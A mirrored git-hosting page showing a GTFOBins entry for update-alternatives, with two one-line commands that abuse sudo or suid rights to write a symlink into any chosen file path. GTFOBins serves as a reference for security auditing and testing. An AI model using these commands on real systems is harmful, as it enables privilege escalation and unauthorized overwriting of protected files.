This website requires JavaScript.
Explore
Help
Sign In
public-mirrors
/
GTFOBins.github.io
Watch
1
Star
0
Fork
0
You've already forked GTFOBins.github.io
mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced
2025-11-13 15:15:11 +01:00
Code
Issues
Projects
Releases
Wiki
Activity
Files
28c0f13c3ab26dc5cec16f165a501b8b38927402
GTFOBins.github.io
/
_gtfobins
/
update-alternatives.md
Andrea Cardaci
22899a5159
Improve update-alternatives
2020-11-17 18:54:53 +01:00
476 B
Raw
Blame
History
functions
functions
sudo
suid
description
code
Write in `$LFILE` a symlink to `$TF`.
LFILE=/path/to/file_to_write TF=$(mktemp) echo DATA >$TF sudo update-alternatives --force --install "$LFILE" x "$TF" 0
description
code
Write in `$LFILE` a symlink to `$TF`.
LFILE=/path/to/file_to_write TF=$(mktemp) echo DATA >$TF ./update-alternatives --force --install "$LFILE" x "$TF" 0
Reference in New Issue
View Git Blame
Copy Permalink